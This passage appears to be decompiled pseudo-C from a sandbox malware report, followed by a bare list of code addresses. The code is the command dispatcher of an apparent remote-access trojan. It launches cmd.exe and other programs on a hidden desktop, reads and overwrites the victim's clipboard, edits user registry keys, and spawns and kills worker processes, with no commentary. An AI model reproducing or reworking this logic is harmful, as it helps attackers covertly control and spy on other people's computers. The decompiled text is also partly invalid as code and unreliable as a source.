													RegSetValueA(_v108, 0, 1,  *0x4a16b84, 0);
													RegCloseKey(_v108);
												}
											}
											_t211 = RegOpenKeyExA(0x80000001,  *0x4a16b80, 0, 0xf003f,  &_v108);
											__eflags = _t211;
											if(_t211 == 0) {
												_t269 = 0;
												_t215 = RegEnumKeyA(_v108, 0,  &_v100, 0x64);
												__eflags = _t215;
												if(_t215 == 0) {
													do {
														lstrcatA( &_v100,  *0x4a16b88);
														_t221 = RegOpenKeyExA(_v108,  &_v100, 0, 0xf003f,  &_v104);
														__eflags = _t221;
														if(_t221 == 0) {
															RegSetValueA(_v104, _t221, 1, 0x4a0f2da, _t221);
															RegCloseKey(_v104);
														}
														_t269 = _t269 + 1;
														_t223 = RegEnumKeyA(_v108, _t269,  &_v100, 0x64);
														__eflags = _t223;
													} while (_t223 == 0);
												}
												RegCloseKey(_v108);
											}
											__eflags =  *0x4a16398; // 0x0
											_t22 = __eflags != 0;
											__eflags = _t22;
											return 0 | _t22;
											goto L239;
										}
										while(1) {
											L12:
											_t205 = FindWindowExW(_t204, 0,  *0x4a167a8,  *0x4a167d4);
											 *0x4a1639c = _t205;
											__eflags = _t205;
											if(_t205 != 0) {
												goto L15;
											}
											__eflags = _t258;
											if(_t258 != 0) {
												Sleep(0x1f4);
												_t204 = _v104;
												_t242 = _t242 + 1;
												__eflags = _t242 - 0xa;
												if(_t242 < 0xa) {
													continue;
												}
											}
											goto L15;
										}
										goto L15;
									}
									goto L239;
								case 1:
									 &_v1820 = lstrcpyA( &_v1820,  *0x4a16b20);
									__eax =  &_v1976;
									_v1956.lpReserved = 0;
									__eax =  &_v1956;
									_v1956.cb = 0x44;
									asm("xorps xmm0, xmm0");
									_v1956.lpDesktop = "d06ed635";
									__eax =  &_v1820;
									asm("movlpd [esp+0x5c], xmm0");
									asm("movlpd [esp+0x6c], xmm0");
									asm("movlpd [esp+0x74], xmm0");
									asm("movlpd [esp+0x7c], xmm0");
									asm("movlpd [esp+0x84], xmm0");
									asm("movlpd [esp+0x8c], xmm0");
									asm("movlpd [esp+0x94], xmm0");
									asm("movups [esp+0x44], xmm0");
									__eax = CreateProcessA(0,  &_v1820, 0, 0, 0, 0, 0, 0,  &_v1956,  &_v1976);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = _v1976.hProcess;
										__eflags = __eax;
										if(__eax != 0) {
											__eax = CloseHandle(__eax);
										}
										__eax = _v1976.hThread;
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax = CloseHandle(__eax);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 2:
									 &_v1044 = lstrcpyW( &_v1044, "C:\Windows\system32\cmd.exe");
									__eax =  &_v1976;
									_v1956.lpReserved = 0;
									__eax =  &_v1956;
									_v1956.cb = 0x44;
									asm("xorps xmm0, xmm0");
									_v1956.lpDesktop = L"d06ed635";
									__eax =  &_v1044;
									asm("movlpd [esp+0x5c], xmm0");
									asm("movlpd [esp+0x6c], xmm0");
									asm("movlpd [esp+0x74], xmm0");
									asm("movlpd [esp+0x7c], xmm0");
									asm("movlpd [esp+0x84], xmm0");
									asm("movlpd [esp+0x8c], xmm0");
									asm("movlpd [esp+0x94], xmm0");
									asm("movups [esp+0x44], xmm0");
									__eax = CreateProcessW(0,  &_v1044, 0, 0, 0, 0, 0, 0,  &_v1956,  &_v1976);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = _v1976.hProcess;
										__eflags = __eax;
										if(__eax != 0) {
											__eax = CloseHandle(__eax);
										}
										__eax = _v1976.hThread;
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax = CloseHandle(__eax);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 3:
									__eax =  &_v1984;
									_push( &_v1984);
									_push(0);
									_push(0);
									_push(E04A033B0);
									goto L111;
								case 4:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 5:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 6:
									__ecx = 0;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 7:
									__eax = E04A019A0();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									__esp = __esp - 0x6e8;
									_push(__ebx);
									_push(__ebp);
									_push(__esi);
									__eax =  &(_v1780.dwX);
									_v1780.dwX = 0;
									__ebx = 0;
									_v1780.dwY = 4;
									_v1780.dwYSize = 4;
									_v1780.dwXCountChars = 2;
									__eax = RegOpenKeyExA(0x80000001,  *0x4a16b14, 0, 0xf013f,  &(_v1780.dwX));
									__eflags = __eax;
									if(__eax != 0) {
										_v1780.dwX = 0;
									} else {
										 &(_v1780.dwY) =  &(_v1780.dwXSize);
										__eax =  &(_v1780.dwYSize);
										__eax = RegQueryValueExA(_v1780.dwX,  *0x4a16b18, 0,  &(_v1780.dwYSize),  &(_v1780.dwXSize),  &(_v1780.dwY));
										__eflags = __eax;
										if(__eax != 0) {
											L46:
											__eax =  &(_v1780.dwXCountChars);
											RegSetValueExA(_v1780.dwX,  *0x4a16b18, 0, 4,  &(_v1780.dwXCountChars), 4) =  ~__eax;
											asm("sbb ebx, ebx");
											__ebx =  &(__ebx->i);
										} else {
											__eflags = _v1780.dwXSize - 2;
											__ebx = 0 | _v1780.dwXSize != 0x00000002;
											__eflags = __ebx;
											if(__ebx != 0) {
												goto L46;
											}
										}
									}
									__eax =  &_v1548;
									__esi = GetWindowsDirectoryW( &_v1548, 0x104);
									__eflags = __esi;
									if(__esi == 0) {
										L65:
										_pop(__esi);
										_pop(__ebp);
										__eax = 0;
										__eflags = 0;
										_pop(__ebx);
										__esp =  &(__esp[0x1ba]);
										return 0;
									} else {
										 &_v1548 = lstrcatW( &_v1548,  *0x4a167f4);
										__esi = __esi + 0xd;
										__eflags = __esi;
										if(__esi == 0) {
											goto L65;
										} else {
											__esi = lstrcpyW;
											__eax = 0;
											_v1028 = __ax;
											 &_v1548 =  &_v1028;
											lstrcpyW( &_v1028,  &_v1548) =  &(_v1780.hStdInput);
											__eax = E04A010D0( &(_v1780.hStdInput), 0, 0x44);
											_v1780.hStdInput.cb = 0x44;
											 &_v1652 = lstrcpyW( &_v1652, L"d06ed635");
											__eax =  &_v1652;
											_v1780.hStdError =  &_v1652;
											 &(_v1780.dwFillAttribute) =  &(_v1780.hStdInput);
											__eax =  &_v1028;
											__ebp = CreateProcessW(0,  &_v1028, 0, 0, 0, 0, 0, 0,  &(_v1780.hStdInput),  &(_v1780.dwFillAttribute));
											__eflags = __ebp;
											if(__ebp != 0) {
												__ecx = _v1780.dwFlags;
												__eflags = __ecx;
												if(__ecx != 0) {
													__eax = CloseHandle(__ecx);
												}
												__eax = _v1780.dwFillAttribute.hProcess;
												__eflags = __eax;
												__esi = _v1780.dwYCountChars;
												__esi =  !=  ? __eax : _v1780.dwYCountChars;
												__eflags = __esi;
												if(__esi == 0) {
													__ecx = 1;
													L1();
												} else {
													__eax =  *0x4a16384; // 0x0
													__eflags = __eax;
													if(__eax != 0) {
														L56:
														_push(__esi);
														_push(__eax);
														__imp__AssignProcessToJobObject();
													} else {
														_push(__eax);
														_push(__eax);
														__imp__CreateJobObjectW();
														 *0x4a16384 = __eax;
														__eflags = __eax;
														if(__eax != 0) {
															goto L56;
														}
													}
													__eax = ResumeThread(__esi);
													__ecx = 1;
													L1();
												}
												__eflags = __ebx;
												if(__ebx == 0) {
													L62:
													__eax = _v1780.dwX;
													__eflags = __eax;
													if(__eax != 0) {
														__eax = RegCloseKey(__eax);
													}
												} else {
													__eax = _v1780.dwX;
													__eflags = __eax;
													if(__eax != 0) {
														__ecx =  &(_v1780.dwXSize);
														__eax = RegSetValueExA(__eax,  *0x4a16b18, 0, 4,  &(_v1780.dwXSize), _v1780.dwY);
														goto L62;
													}
												}
											}
											__eax = __ebp;
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1ba]);
											return __ebp;
										}
									}
									goto L239;
								case 8:
									E04A019A0() = E04A01D40();
									CloseDesktop( *0x4a16388) = E04A016C0(_a8, 0);
									Sleep(0x3e8);
									 *0x4a163e8 = 0;
									ExitThread(0);
								case 9:
									__eax = E04A01D40();
									__eax = E04A016C0(_a8, 0);
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0xa:
									__ecx = __edi;
									__ebp = E04A011D0(__edi);
									_push(__edi);
									__eflags = __ebp;
									if(__ebp == 0) {
										_push(_a8);
										__eax = E04A01870();
										__esp =  &(__esp[2]);
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										return __eax;
									} else {
										_push(__ebp);
										_push(_a8);
										__eax = E04A017E0();
										__esp =  &(__esp[3]);
										__eflags = __eax;
										if(__eax == 0) {
											L146:
											__eflags = __edi;
											if(__edi == 0) {
												goto L217;
											} else {
												goto L147;
											}
										} else {
											__eflags = __edi;
											if(__edi == 0) {
												__ebx = 1;
												__esi = 0;
												__eflags = 0;
												goto L142;
											} else {
												_v1980 = 0;
												__eax = OpenClipboard(0);
												__eflags = __eax;
												if(__eax == 0) {
													__ebx = 2;
													__esi = GetLastError();
												} else {
													__eax = EmptyClipboard();
													__esi = GlobalAlloc(0x2000, __edi);
													__eflags = __esi;
													if(__esi == 0) {
														__ebx = 3;
														__esi = GetLastError();
														__eax = CloseClipboard();
													} else {
														__eax = GlobalLock(__esi);
														__eflags = __eax;
														if(__eax == 0) {
															__ebx = 4;
															__esi = GetLastError();
															__eax = CloseClipboard();
														} else {
															__eax = GlobalUnlock(__esi);
															__eax = SetClipboardData(0xd, __esi);
															__ecx = 0;
															__eflags = __eax;
															__ecx = 0 | __eflags != 0x00000000;
															_v1980 = __eflags != 0;
															__eflags = __eax;
															if(__eax != 0) {
																__esi = _v1880;
																__ebx = _v1876;
																__eax = CloseClipboard();
															} else {
																_t93 = __eax + 5; // 0x5
																__ebx = _t93;
																__esi = GetLastError();
																__eax = CloseClipboard();
															}
														}
													}
												}
												__eflags = _v1980;
												if(_v1980 == 0) {
													L142:
													_push(__esi);
													 &_v1652 = E04A01200( &_v1652, "Set  clipboard text failed. \r\n Error # %d - %08lx", __ebx);
													__eax =  &_v1652;
													__eax = lstrlenA( &_v1652);
													__eflags =  *0x4a1672c;
													__esi = __eax;
													if( *0x4a1672c != 0) {
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__ebx = E04A011D0(__esi);
															__eflags = __ebx;
															if(__ebx != 0) {
																 &_v1652 = E04A01000(__ebx,  &_v1652, __esi);
																EnterCriticalSection(0x4a16714);
																 *0x4a165fc = 5;
																 *0x4a16601 = __esi;
																 *0x4a165fd = __ebx;
																LeaveCriticalSection(0x4a16714);
															}
														}
													}
													goto L146;
												} else {
													__edi = __edi >> 1;
													(__edi >> 1) - 1 =  &(_v1780.dwXSize);
													E04A01200( &(_v1780.dwXSize),  *0x4a16ba8, (__edi >> 1) - 1) =  &(_v1780.dwXSize);
													__eax = lstrlenA( &(_v1780.dwXSize));
													__eflags =  *0x4a1672c;
													__esi = __eax;
													if( *0x4a1672c != 0) {
														__eflags = __esi;
														if(__esi != 0) {
															__ecx = __esi;
															__ebx = E04A011D0(__esi);
															__eflags = __ebx;
															if(__ebx != 0) {
																 &(_v1780.dwXSize) = E04A01000(__ebx,  &(_v1780.dwXSize), __esi);
																EnterCriticalSection(0x4a16714);
																 *0x4a165fc = 5;
																 *0x4a16601 = __esi;
																 *0x4a165fd = __ebx;
																LeaveCriticalSection(0x4a16714);
															}
														}
													}
													L147:
													__eflags = __edi - 0x1000;
													if(__edi <= 0x1000) {
														__eax = LocalFree(__ebp);
														_pop(__edi);
														_pop(__esi);
														_pop(__ebp);
														_pop(__ebx);
														__esp =  &(__esp[0x1f1]);
														return __eax;
													} else {
														__eax = VirtualFree(__ebp, 0, 0x8000);
														_pop(__edi);
														_pop(__esi);
														_pop(__ebp);
														_pop(__ebx);
														__esp =  &(__esp[0x1f1]);
														return __eax;
													}
												}
											}
										}
									}
									goto L239;
								case 0xb:
									__eax =  *0x4a165ac;
									__edi = 0;
									_v1984 =  *0x4a165ac;
									__eax = OpenClipboard(0);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = IsClipboardFormatAvailable(0xd);
										__eflags = __eax;
										if(__eax == 0) {
											L159:
											__esi = _v1984;
										} else {
											__ebx = GetClipboardData(0xd);
											__eflags = __ebx;
											if(__ebx == 0) {
												goto L159;
											} else {
												__ebp = GlobalLock(__ebx);
												__eflags = __ebp;
												if(__ebp == 0) {
													goto L159;
												} else {
													__eax = lstrlenW(__ebp);
													__esi = __eax;
													__esi = __eax + __eax;
													__eflags = __esi;
													if(__esi != 0) {
														_push(__esi);
														_push(0);
														__edi = _v1984();
														__eflags = __edi;
														if(__edi != 0) {
															__eax = E04A01000(__edi, __ebp, __esi);
														}
													}
													__eax = GlobalUnlock(__ebx);
												}
											}
										}
										__eax = CloseClipboard();
										__eflags = __edi;
										if(__edi == 0) {
											goto L217;
										} else {
											__eax = E04A07A00(0x4a165fc, 2, __edi, __esi);
											_pop(__edi);
											_pop(__esi);
											_pop(__ebp);
											_pop(__ebx);
											__esp =  &(__esp[0x1f1]);
											return __eax;
										}
									}
									goto L239;
								case 0xc:
									_v1960 = 0;
									__eax = OpenClipboard(0);
									__eflags = __eax;
									if(__eax == 0) {
										goto L217;
									} else {
										__eax = EmptyClipboard();
										__esi = GlobalAlloc(0x2000, 1);
										__eflags = __esi;
										if(__esi != 0) {
											__eax = GlobalLock(__esi);
											__eflags = __eax;
											if(__eax != 0) {
												__ecx =  &_v1960;
												GlobalUnlock(__esi) = SetClipboardData(0xd, __esi);
											}
										}
										__eax = CloseClipboard();
										_pop(__edi);
										_pop(__esi);
										_pop(__ebp);
										_pop(__ebx);
										__esp =  &(__esp[0x1f1]);
										return __eax;
									}
									goto L239;
								case 0xd:
									__esi = LocalAlloc(0, __edi);
									__eflags = __esi;
									if(__esi == 0) {
										goto L217;
									} else {
										__eax = E04A017E0(_a8, __esi, __edi);
										__eflags = __eax;
										if(__eax == 0) {
											goto L217;
										} else {
											__eax =  &_v1984;
											_push( &_v1984);
											_push(0);
											_push(__esi);
											_push(E04A093A0);
											L111:
											__eax = CreateThread(0, 0, ??, ??, ??, ??);
											__eflags = __eax;
											if(__eax == 0) {
												goto L217;
											} else {
												__eax = CloseHandle(__eax);
												_pop(__edi);
												_pop(__esi);
												_pop(__ebp);
												_pop(__ebx);
												__esp =  &(__esp[0x1f1]);
												return __eax;
											}
										}
									}
									goto L239;
								case 0xe:
									__ecx = 0x4a165fc;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									__esp = __esp - 0x714;
									_push(__ebx);
									_push(__ebp);
									_push(__esi);
									_push(__edi);
									__esi = 0x4a165fc;
									__eax = GetCommandLineW();
									__eflags = __eax;
									if(__eax != 0) {
										__edi = lstrcpyW;
										 &_v1548 = lstrcpyW( &_v1548,  &_v1548);
										 &_v1808 = wsprintfA( &_v1808,  *0x4a16a1c,  *0x4a163d8, 0);
										__esp =  &(__esp[4]);
										 &_v1800 = SetEnvironmentVariableA( &_v1800, "1");
										__ebx =  *0x4a16748; // 0x4a1783e
										__eax = 0;
										_v1020 = __ax;
										 &_v1540 =  &_v1020;
										lstrcpyW( &_v1020,  &_v1540) =  &_v1780;
										E04A010D0( &_v1780, 0, 0x44) = 0;
										_v1780.cb = 0x44;
										_v1780.wShowWindow = __ax;
										_v1780.dwFlags = 1;
										__eflags = __ebx;
										if(__ebx != 0) {
											 &_v1644 = lstrcpyW( &_v1644, __ebx);
											__eax =  &_v1644;
											_v1780.lpDesktop =  &_v1644;
										}
										 &_v1800 =  &_v1780;
										__eax =  &_v1020;
										__eax = CreateProcessW(0,  &_v1020, 0, 0, 0, 0, 0, 0,  &_v1780,  &_v1800);
										__eflags = __eax;
										if(__eax == 0) {
											__ebx =  *0x4a16908; // 0x4a1866e
											__eflags = __ebx;
											if(__ebx != 0) {
												__eax = lstrlenW(__ebx);
												__edi = __eax;
												__edi = __eax + __eax;
												__eflags =  *0x4a1672c;
												if( *0x4a1672c != 0) {
													__eflags = __esi;
													if(__esi != 0) {
														__eflags = __edi;
														if(__edi != 0) {
															__ecx = __edi;
															__eax = E04A011D0(__edi);
															__ebp = __eax;
															__eflags = __ebp;
															if(__ebp != 0) {
																__eax = E04A01000(__ebp, __ebx, __edi);
																EnterCriticalSection(0x4a16714);
																 *(__esi + 1) = __ebp;
																goto L237;
															}
														}
													}
												}
											}
										} else {
											__eax = _v1800.hThread;
											__ebx = _v1800.dwProcessId;
											__edi = CloseHandle;
											__eflags = __eax;
											if(__eax != 0) {
												__eax = CloseHandle(__eax);
											}
											__eax = _v1800.hProcess;
											__eflags = __eax;
											if(__eax != 0) {
												__eax = CloseHandle(__eax);
											}
											 &_v1704 = E04A01220( &_v1704, 0x4a0f2d0, __ebx);
											 &_v1704 = lstrcatW( &_v1704,  *0x4a16910);
											__eax =  &_v1704;
											__eax = lstrlenW( &_v1704);
											__edi = __eax;
											__edi = __eax + __eax;
											__eflags =  *0x4a1672c;
											if( *0x4a1672c != 0) {
												__eflags = __esi;
												if(__esi != 0) {
													__eflags = __edi;
													if(__edi != 0) {
														__ecx = __edi;
														__eax = E04A011D0(__edi);
														__ebx = __eax;
														__eflags = __ebx;
														if(__ebx != 0) {
															__eax =  &_v1704;
															__eax = E04A01000(__ebx,  &_v1704, __edi);
															EnterCriticalSection(0x4a16714);
															 *(__esi + 1) = __ebx;
															L237:
															 *__esi = 6;
															 *(__esi + 5) = __edi;
															LeaveCriticalSection(0x4a16714);
														}
													}
												}
											}
										}
									}
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1c5]);
									return __eax;
									goto L239;
								case 0xf:
									__eax = PostMessageA( *0x4a16398, 0x112, 0xf130, 1);
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x10:
									 *0x4a16574 =  *0x4a16574 - 1;
									__eflags =  *0x4a16574;
									__eax = E04A04710();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L75;
								case 0x11:
									 *0x4a16574 =  *0x4a16574 + 1;
									__eflags =  *0x4a16574;
									__eax = E04A04710();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L75:
									__esp = __esp - 8;
									__ecx =  *0x4a16fea & 0x000000ff;
									__edx =  *0x4a16574; // 0x0
									__ecx = ( *0x4a16fea & 0x000000ff) << 0x10;
									__eax = __dx & 0x0000ffff;
									__ecx = ( *0x4a16fea & 0x000000ff) << 0x00000010 | __dx & 0x0000ffff;
									_v8 = ( *0x4a16fea & 0x000000ff) << 0x00000010 | __dx & 0x0000ffff;
									__eflags = __edx;
									if(__edx < 0) {
										L78:
										__ecx =  *0x4a17488 & 0x0000ffff;
										__eax =  *0x4a1748a & 0x0000ffff;
									} else {
										__eflags = __edx - 0xa;
										if(__edx >= 0xa) {
											goto L78;
										} else {
											__ecx =  *(0x4a176a0 + __edx * 4) & 0x0000ffff;
											__eax =  *(0x4a176a2 + __edx * 4) & 0x0000ffff;
										}
									}
									__ecx = __ecx << 0x10;
									__ecx = __ecx | __eax;
									__eflags =  *0x4a1672c;
									_v4 = __ecx;
									if( *0x4a1672c != 0) {
										_push(__esi);
										__eax = LocalAlloc(0, 8);
										__esi = __eax;
										__eflags = __esi;
										if(__esi != 0) {
											__eax =  &_v8;
											 *__esi = 0;
											__eax = E04A01000(__esi,  &_v8, 8);
											EnterCriticalSection(0x4a16714);
											 *0x4a165fc = 0x11;
											 *0x4a16601 = 8;
											 *0x4a165fd = __esi;
											LeaveCriticalSection(0x4a16714);
										}
										_pop(__esi);
									}
									__esp =  &(__esp[2]);
									return __eax;
									goto L239;
								case 0x12:
									_push( *0x4a16a68);
									__eax = __eax ^ 0x04a16a68;
									__ebx = LoadLibraryA;
									__esi = 0;
									_v1984 = 0;
									_v1980 = 0;
									__eax = LoadLibraryA(??);
									__ebp = GetProcAddress;
									__eflags = __eax - 0x20;
									if(__eax > 0x20) {
										__edx = __eax;
										__eflags = __edx;
										if(__edx != 0) {
											__ecx = __edi + 4;
											__eflags = __ecx - 3;
											if(__ecx <= 3) {
												switch( *((intOrPtr*)(__ecx * 4 +  &M04A05550))) {
													case 0:
														__eax = 2;
														goto L181;
													case 1:
														__eax = 1;
														goto L181;
													case 2:
														__eax = 0;
														L181:
														_push(__eax);
														_v1988 =  *__edx();
														goto L182;
												}
											}
										}
									}
									L182:
									__ebx = LoadLibraryA( *0x4a16a78);
									__eflags = __ebx - 0x20;
									if(__ebx > 0x20) {
										__eax = GetProcAddress(__ebx,  *0x4a16a94);
										__eflags = __eax;
										if(__eax != 0) {
											_push(__edi);
											_v1984 = __eax;
										}
										__eflags = __edi - 0xfffffffe;
										if(__edi == 0xfffffffe) {
											__eax = GetProcAddress(__ebx,  *0x4a16a90);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags = __eax;
												__ecx = 1;
												__esi =  !=  ? 1 : __esi;
											}
										}
									}
									__eflags = _a4;
									if(_a4 == 0) {
										_push(__esi);
										_push(_v1980);
										__eax =  &_v1872;
										__esi = E04A01200( &_v1872, "OK %08lx %08lx %d", _v1984);
										__eflags = __esi;
										if(__esi == 0) {
											__eax =  &_v1872;
											__esi = lstrlenA( &_v1872);
										}
										__eflags =  *0x4a1672c;
										if( *0x4a1672c != 0) {
											__eflags = __esi;
											if(__esi != 0) {
												__ecx = __esi;
												__edi = E04A011D0(__esi);
												__eflags = __edi;
												if(__edi != 0) {
													 &_v1872 = E04A01000(__edi,  &_v1872, __esi);
													EnterCriticalSection(0x4a16714);
													 *0x4a165fc = 5;
													 *0x4a16601 = __esi;
													 *0x4a165fd = __edi;
													L216:
													LeaveCriticalSection(0x4a16714);
												}
											}
										}
									}
									goto L217;
								case 0x13:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 0x14:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 0x15:
									__ecx = 1;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 0x16:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L69;
								case 0x17:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L66;
								case 0x18:
									__ecx = 2;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									goto L72;
								case 0x19:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L69:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, 0x4a029c0, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1a:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L66:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, 0x4a02950, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1b:
									__ecx = 3;
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									L72:
									_push(__ecx);
									__eax = __esp;
									__eax = CreateThread(0, 0, E04A03040, __ecx, 0, __esp);
									__eflags = __eax;
									if(__eax != 0) {
										__eax = CloseHandle(__eax);
									}
									_pop(__ecx);
									return __eax;
									goto L239;
								case 0x1c:
									_push(0);
									_push( *0x4a16380);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1d:
									_push(0);
									_push( *0x4a16374);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1e:
									_push(0);
									_push( *0x4a1637c);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x1f:
									_push(0);
									_push( *0x4a16378);
									__imp__TerminateJobObject();
									_pop(__edi);
									_pop(__esi);
									_pop(__ebp);
									_pop(__ebx);
									__esp =  &(__esp[0x1f1]);
									return __eax;
									goto L239;
								case 0x20:
									goto L217;
							}
						}
					}
				}
				L239:
			}

0x04a04820
0x04a0482a
0x04a04832
0x04a05278
0x04a05278
0x04a0527e
0x04a052f8
0x04a052fe
0x04a05309
0x04a0530d
0x04a05311
0x04a05315
0x04a0531d
0x04a05325
0x04a0532d
0x04a05335
0x04a0533d
0x04a05345
0x04a0534d
0x04a05355
0x04a0535d
0x04a05365
0x04a0536d
0x04a05375
0x04a0537d
0x04a05385
0x04a0538d
0x04a05395
0x04a0539d
0x04a053a5
0x04a053ad
0x04a053b5
0x04a053cb
0x04a053d0
0x04a053db
0x04a053e1
0x04a053e8
0x04a053ea
0x04a053ec
0x04a053ee
0x04a053f2
0x04a053f7
0x04a053f9
0x04a053fb
0x04a05407
0x04a0540c
0x04a05414
0x04a0541a
0x04a05421
0x04a05427
0x00000000
0x04a05427
0x04a053fb
0x04a053ee
0x00000000
0x04a05280
0x04a05280
0x04a05283
0x00000000
0x04a05289
0x04a05289
0x04a0529b
0x04a052af
0x04a052b8
0x04a052be
0x04a052c0
0x04a052d9
0x04a052d9
0x04a052dc
0x04a052eb
0x04a052c2
0x04a052c3
0x04a052c9
0x04a052d8
0x04a052d8
0x04a052c0
0x04a05283
0x04a04838
0x04a04838
0x04a05154
0x04a0516d
0x04a05175
0x04a05177
0x04a05179
0x04a0517f
0x04a05181
0x04a05184
0x04a0518f
0x04a05195
0x04a0519b
0x04a0519d
0x04a051a8
0x04a051b0
0x04a051b0
0x04a051b4
0x04a051bd
0x04a051c3
0x04a051c5
0x04a051d0
0x04a051d8
0x04a051d8
0x04a051da
0x04a051e0
0x04a051e6
0x04a051e8
0x04a051ea
0x04a051ee
0x04a051f5
0x04a051fa
0x04a051ff
0x04a05202
0x04a05204
0x04a0520f
0x04a05217
0x04a05217
0x04a05204
0x04a0521a
0x04a05220
0x04a05222
0x04a05224
0x04a0522b
0x04a05231
0x04a05233
0x04a05239
0x04a05240
0x04a05242
0x04a05244
0x04a0524d
0x04a0525a
0x04a05260
0x04a05267
0x04a0526d
0x00000000
0x04a0526d
0x04a05244
0x04a05233
0x04a0522b
0x00000000
0x04a0483e
0x04a0483e
0x04a04844
0x04a0484a
0x04a05438
0x04a05442
0x04a04850
0x04a04850
0x04a04857
0x00000000
0x04a0485e
0x04a04863
0x04a04865
0x00000000
0x04a0486b
0x04a0486b
0x04a04870
0x04a04871
0x04a04872
0x04a04873
0x04a04874
0x04a01a93
0x04a01a94
0x04a01a95
0x04a01a9c
0x04a01a9e
0x04a01a9f
0x04a01aa1
0x04a01aad
0x04a01ab3
0x04a01aba
0x00000000
0x00000000
0x04a01ac5
0x04a01ac7
0x04a01acb
0x00000000
0x04a01acd
0x04a01acd
0x04a01acd
0x00000000
0x04a01acb
0x04a01ad8
0x04a01ada
0x04a01ae0
0x04a01aeb
0x04a01aed
0x04a01af3
0x04a01b0d
0x04a01b0d
0x04a01b0d
0x04a01b0d
0x04a01af7
0x04a01afe
0x04a01b00
0x04a01b04
0x04a01b06
0x00000000
0x04a01b06
0x04a01b04
0x04a01b3f
0x04a01b3f
0x04a01b49
0x04a01b49
0x04a01b50
0x04a01b58
0x04a01b5e
0x04a01b63
0x04a01b65
0x04a01b80
0x04a01b80
0x04a01b80
0x04a01b67
0x04a01b69
0x04a01b70
0x04a01b72
0x04a01b73
0x04a01b76
0x00000000
0x00000000
0x04a01b78
0x04a01b76
0x00000000
0x04a01b69
0x04a01b86
0x04a01b86
0x04a01b90
0x04a01b98
0x04a01b9e
0x04a01ba0
0x04a01bdc
0x04a01bdc
0x00000000
0x04a01ba2
0x04a01bad
0x04a01baf
0x04a01bb1
0x00000000
